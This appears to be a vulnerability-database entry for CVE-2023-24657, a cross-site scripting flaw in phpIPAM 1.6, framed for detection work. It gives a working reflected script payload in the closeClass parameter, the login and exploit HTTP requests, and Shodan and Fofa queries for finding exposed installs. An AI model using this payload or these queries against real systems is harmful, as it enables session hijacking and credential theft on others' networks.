🔙 목록으로 돌아가기

CVE-2023-24657: phpIPAM - 1.6 - Cross-Site Scripting

TitlephpIPAM - 1.6 - Cross-Site Scripting
Authorr3Y3r53
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
RemediationUpgrade to a patched version of phpIPAM or apply the necessary security patches provided by the vendor.
CVSS Score6.1
EPSS Score0.0274
CVE IDCVE-2023-24657
CWE IDCWE-79
Shodan Queryhtml:"phpIPAM IP address management"http.html:"phpipam ip address management"
Fofa Querybody="phpipam ip address management"
Tags cve2023 cve xss phpipam authenticated vuln

🔍 Vulnerability Description

phpIPAM 1.6 contains a cross-site scripting vulnerability via the closeClass parameter at /subnet-masks/popup.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

🌐 HTTP Request

POST /app/login/login_check.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15
Connection: close
Content-Length: 39
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

ipamusername=FBQjrN&ipampassword=jXldcN
GET /app/tools/subnet-masks/popup.php?closeClass=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-24657.yaml

🦈 Packet Capture: ⬇️ Download cve-2023-24657.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A